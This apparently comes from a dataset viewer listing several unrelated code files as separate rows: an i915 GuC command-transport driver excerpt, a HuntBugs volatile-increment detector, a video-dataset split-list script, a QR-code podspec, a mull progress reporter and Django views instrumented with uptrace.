* Shall only be called for platforms with HAS_GUC_CT.
* @guc: the guc
* return: 0 on success
* non-zero on failure
*/
int intel_guc_enable_ct(struct intel_guc *guc)
{
struct drm_i915_private *dev_priv = guc_to_i915(guc);
struct intel_guc_ct_channel *ctch = &guc->ct.host_channel;
int err;
GEM_BUG_ON(!HAS_GUC_CT(dev_priv));
err = ctch_open(guc, ctch);
if (unlikely(err))
return err;
/* Switch into cmd transport buffer based send() */
guc->send = intel_guc_send_ct;
DRM_INFO("CT: %s\n", enableddisabled(true));
return 0;
}
/**
* Disable buffer based command transport.
* Shall only be called for platforms with HAS_GUC_CT.
* @guc: the guc
*/
void intel_guc_disable_ct(struct intel_guc *guc)
{
struct drm_i915_private *dev_priv = guc_to_i915(guc);
struct intel_guc_ct_channel *ctch = &guc->ct.host_channel;
GEM_BUG_ON(!HAS_GUC_CT(dev_priv));
if (!ctch_is_open(ctch))
return;
ctch_close(guc, ctch);
/* Disable send */
guc->send = intel_guc_send_nop;
DRM_INFO("CT: %s\n", enableddisabled(false));
}
| 5,170 |
345 | /*
* Copyright 2016 HuntBugs contributors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package one.util.huntbugs.detect;
import java.util.List;
import com.strobel.assembler.metadata.FieldDefinition;
import com.strobel.assembler.metadata.FieldReference;
import com.strobel.assembler.metadata.Flags;
import com.strobel.assembler.metadata.JvmType;
import com.strobel.assembler.metadata.MethodDefinition;
import com.strobel.decompiler.ast.AstCode;
import com.strobel.decompiler.ast.Expression;
import one.util.huntbugs.registry.MethodContext;
import one.util.huntbugs.registry.anno.AstNodes;
import one.util.huntbugs.registry.anno.AstVisitor;
import one.util.huntbugs.registry.anno.WarningDefinition;
import one.util.huntbugs.util.Exprs;
import one.util.huntbugs.util.NodeChain;
import one.util.huntbugs.util.Nodes;
/**
* @author <NAME>
*
*/
@WarningDefinition(category = "Multithreading", name = "VolatileIncrement", maxScore = 85)
@WarningDefinition(category = "Multithreading", name = "VolatileMath", maxScore = 85)
public class VolatileIncrement {
@AstVisitor(nodes=AstNodes.EXPRESSIONS)
public void visitNode(Expression node, MethodContext ctx, NodeChain parents, MethodDefinition md) {
if (node.getCode() == AstCode.PreIncrement || node.getCode() == AstCode.PostIncrement) {
Expression arg = node.getArguments().get(0);
if (arg.getCode() == AstCode.GetField || arg.getCode() == AstCode.GetStatic) {
FieldDefinition field = ((FieldReference) arg.getOperand()).resolve();
if (field != null && Flags.testAny(field.getFlags(), Flags.VOLATILE))
ctx.report("VolatileIncrement", computePriority(field, md, parents), arg);
}
}
if (node.getCode() == AstCode.PutField || node.getCode() == AstCode.PutStatic) {
FieldDefinition field = ((FieldReference) node.getOperand()).resolve();
if (field != null && Flags.testAny(field.getFlags(), Flags.VOLATILE)) {
Expression self = Exprs.getThis(node);
Expression op = node.getArguments().get(node.getCode() == AstCode.PutStatic ? 0 : 1);
if (Nodes.isBinaryMath(op)) {
List<Expression> opArgs = op.getArguments();
Expression left = opArgs.get(0);
Expression right = opArgs.get(1);
if (left.getCode() == AstCode.GetField || left.getCode() == AstCode.GetStatic) {
if (((FieldReference) left.getOperand()).resolve() == field
&& Nodes.isEquivalent(self, Exprs.getThis(left))) {
ctx.report(op.getCode() == AstCode.Add ? "VolatileIncrement" : "VolatileMath",
computePriority(field, md, parents), node);
}
}
if (right.getCode() == AstCode.GetField || right.getCode() == AstCode.GetStatic) {
if (((FieldReference) right.getOperand()).resolve() == field
&& Nodes.isEquivalent(self, Exprs.getThis(right))) {
ctx.report(op.getCode() == AstCode.Add ? "VolatileIncrement" : "VolatileMath",
computePriority(field, md, parents), node);
}
}
}
}
}
}
private int computePriority(FieldDefinition field, MethodDefinition md, NodeChain parents) {
int priority = 0;
JvmType type = field.getFieldType().getSimpleType();
if (type != JvmType.Long && type != JvmType.Double)
priority += 10;
if (Flags.testAny(md.getFlags(), Flags.SYNCHRONIZED) || parents.isSynchronized())
priority += 30;
return priority;
}
}
| 1,833 |
538 |
import argparse
import os
import glob
import random
import fnmatch
def parse_directory(path, rgb_prefix='img_', flow_x_prefix='flow_x_', flow_y_prefix='flow_y_'):
"""
Parse directories holding extracted frames from standard benchmarks
"""
print('parse frames under folder {}'.format(path))
frame_folders = glob.glob(os.path.join(path, '*'))
def count_files(directory, prefix_list):
lst = os.listdir(directory)
cnt_list = [len(fnmatch.filter(lst, x+'*')) for x in prefix_list]
return cnt_list
rgb_counts = {}
flow_counts = {}
for i,f in enumerate(frame_folders):
all_cnt = count_files(f, (rgb_prefix, flow_x_prefix, flow_y_prefix))
k = f.split('/')[-1]
rgb_counts[k] = all_cnt[0]
x_cnt = all_cnt[1]
y_cnt = all_cnt[2]
if x_cnt != y_cnt:
raise ValueError('x and y direction have different number of flow images. video: '+f)
flow_counts[k] = x_cnt
if i % 200 == 0:
print('{} videos parsed'.format(i))
print('frame folder analysis done')
return rgb_counts, flow_counts
def build_split_list(split_tuple, frame_info, split_idx, shuffle=False):
split = split_tuple[split_idx]
def build_set_list(set_list):
rgb_list, flow_list = list(), list()
for item in set_list:
rgb_cnt = frame_info[0][item[0]]
flow_cnt = frame_info[1][item[0]]
rgb_list.append('{} {} {}\n'.format(item[0], rgb_cnt, item[1]))
flow_list.append('{} {} {}\n'.format(item[0], flow_cnt, item[1]))
if shuffle:
random.shuffle(rgb_list)
random.shuffle(flow_list)
return rgb_list, flow_list
train_rgb_list, train_flow_list = build_set_list(split[0])
test_rgb_list, test_flow_list = build_set_list(split[1])
return (train_rgb_list, test_rgb_list), (train_flow_list, test_flow_list)
def parse_ucf101_splits():
class_ind = [x.strip().split() for x in open('ucf101_splits/classInd.txt')]
class_mapping = {x[1]:int(x[0])-1 for x in class_ind}
def line2rec(line):
items = line.strip().split('/')
label = class_mapping[items[0]]
vid = items[1].split('.')[0]
return vid, label
splits = []
for i in xrange(1, 4):
train_list = [line2rec(x) for x in open('ucf101_splits/trainlist{:02d}.txt'.format(i))]
test_list = [line2rec(x) for x in open('ucf101_splits/testlist{:02d}.txt'.format(i))]
splits.append((train_list, test_list))
return splits
def parse_hmdb51_splits():
# load split file
class_files = glob.glob('hmdb51_splits/*split*.txt')
# load class list
class_list = [x.strip() for x in open('hmdb51_splits/class_list.txt')]
class_dict = {x: i for i, x in enumerate(class_list)}
def parse_class_file(filename):
# parse filename parts
filename_parts = filename.split('/')[-1][:-4].split('_')
split_id = int(filename_parts[-1][-1])
class_name = '_'.join(filename_parts[:-2])
# parse class file contents
contents = [x.strip().split() for x in open(filename).readlines()]
train_videos = [ln[0][:-4] for ln in contents if ln[1] == '1']
test_videos = [ln[0][:-4] for ln in contents if ln[1] == '2']
return class_name, split_id, train_videos, test_videos
class_info_list = map(parse_class_file, class_files)
splits = []
for i in xrange(1, 4):
train_list = [
(vid, class_dict[cls[0]]) for cls in class_info_list for vid in cls[2] if cls[1] == i
]
test_list = [
(vid, class_dict[cls[0]]) for cls in class_info_list for vid in cls[3] if cls[1] == i
]
splits.append((train_list, test_list))
return splits
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--dataset', type=str, default='ucf101', choices=['ucf101', 'hmdb51'])
parser.add_argument('--frame_path', type=str, default='./ucf101_frames',
help="root directory holding the frames")
parser.add_argument('--out_list_path', type=str, default='./settings')
parser.add_argument('--rgb_prefix', type=str, default='img_',
help="prefix of RGB frames")
parser.add_argument('--flow_x_prefix', type=str, default='flow_x',
help="prefix of x direction flow images")
parser.add_argument('--flow_y_prefix', type=str, default='flow_y',
help="prefix of y direction flow images", )
parser.add_argument('--num_split', type=int, default=3,
help="number of split building file list")
parser.add_argument('--shuffle', action='store_true', default=False)
args = parser.parse_args()
dataset = args.dataset
frame_path = args.frame_path
rgb_p = args.rgb_prefix
flow_x_p = args.flow_x_prefix
flow_y_p = args.flow_y_prefix
num_split = args.num_split
out_path = args.out_list_path
shuffle = args.shuffle
out_path = os.path.join(out_path,dataset)
if not os.path.isdir(out_path):
print("creating folder: "+out_path)
os.makedirs(out_path)
# operation
print('processing dataset {}'.format(dataset))
if dataset=='ucf101':
split_tp = parse_ucf101_splits()
else:
split_tp = parse_hmdb51_splits()
f_info = parse_directory(frame_path, rgb_p, flow_x_p, flow_y_p)
print('writing list files for training/testing')
for i in xrange(max(num_split, len(split_tp))):
lists = build_split_list(split_tp, f_info, i, shuffle)
open(os.path.join(out_path, 'train_rgb_split{}.txt'.format(i + 1)), 'w').writelines(lists[0][0])
open(os.path.join(out_path, 'val_rgb_split{}.txt'.format(i + 1)), 'w').writelines(lists[0][1])
open(os.path.join(out_path, 'train_flow_split{}.txt'.format(i + 1)), 'w').writelines(lists[1][0])
open(os.path.join(out_path, 'val_flow_split{}.txt'.format(i + 1)), 'w').writelines(lists[1][1])
| 2,720 |
5,169 | <filename>Specs/7/2/b/XMNQRCode/0.2.5/XMNQRCode.podspec.json
{
"name": "XMNQRCode",
"version": "0.2.5",
"summary": "使用系统api实现二维码扫描功能,二维码图片识别功能, 增加二维码,条形码生成功能",
"homepage": "https://github.com/ws00801526/XMNQRCode",
"license": "MIT",
"authors": {
"XMFraker": "<EMAIL>"
},
"platforms": {
"ios": "8.0"
},
"source": {
"git": "https://github.com/ws00801526/XMNQRCode.git",
"tag": "0.2.5"
},
"source_files": "XMNQRCode/Classes/*.{h,m}",
"public_header_files": [
"XMNQRCode/Classes/XMNQRCode.h",
"XMNQRCode/Classes/XMNQRCodeBuilder.h",
"XMNQRCode/Classes/XMNQRCodeReaderController.h"
],
"resources": "XMNQRCode/Resources/*.{png,jpg}",
"requires_arc": true,
"ios": {
"frameworks": "CoreImage"
}
}
| 435 |
619 | #include "mull/Parallelization/Progress.h"
#include "mull/Diagnostics/Diagnostics.h"
#include <llvm/Support/raw_ostream.h>
#include <sstream>
#include <unistd.h>
#include <vector>
using namespace mull;
progress_counter::progress_counter(const progress_counter &v) : value(v.value.load()) {}
void progress_counter::increment() {
value++;
}
progress_counter::CounterType progress_counter::get() {
return value.load();
}
progress_reporter::progress_reporter(Diagnostics &diagnostics, std::string &name,
std::vector<progress_counter> &counters,
progress_counter::CounterType total, size_t workers)
: diagnostics(diagnostics), counters(counters), total(total), previousValue(0), name(name),
workers(workers) {
hasTerminal = getenv("TERM") != nullptr;
std::stringstream stringstream;
stringstream << name << " (threads: " << this->workers << ")";
diagnostics.info(stringstream.str());
}
void progress_reporter::operator()() {
useconds_t microseconds(10000);
for (;; usleep(microseconds)) {
progress_counter::CounterType current(0);
for (auto &counter : counters) {
current += counter.get();
}
if (current == 0) {
continue;
}
bool forceReport = false;
printProgress(current, total, forceReport);
if (current == total) {
break;
}
}
}
void progress_reporter::printProgress(progress_counter::CounterType current,
progress_counter::CounterType total, bool force) {
if (current == previousValue) {
return;
}
char terminator = '\n';
if (hasTerminal) {
terminator = '\r';
}
const size_t barWidth = 32;
size_t starsCount = (double)current / total * barWidth;
std::string stars(starsCount, '#');
std::string dots(barWidth - starsCount, '-');
std::stringstream stringstream;
std::string padding(7, ' ');
stringstream << terminator << padding << "[" << stars << dots << "] " << current << "/" << total;
diagnostics.progress(stringstream.str());
previousValue = current;
}
| 776 |
627 | <reponame>Ax1an/uptrace
import logging
from django.contrib.auth.models import User
from django.views.generic import TemplateView
import uptrace
logger = logging.getLogger(__name__)
class IndexView(TemplateView):
template_name = "index.html"
def get_context_data(self, **kwargs):
try:
User.objects.get(pk=123)
except User.DoesNotExist:
logger.exception("user not found")
context = super().get_context_data(**kwargs)
context["trace_url"] = uptrace.trace_url()
return context
class HelloView(TemplateView):
template_name = "hello.html"
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
context["trace_url"] = uptrace.trace_url()
return context
class FailingView(TemplateView):
template_name = "hello.html"
def get_context_data(self, **kwargs):
print(uptrace.trace_url())
raise ValueError("something went wrong")
| 388 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.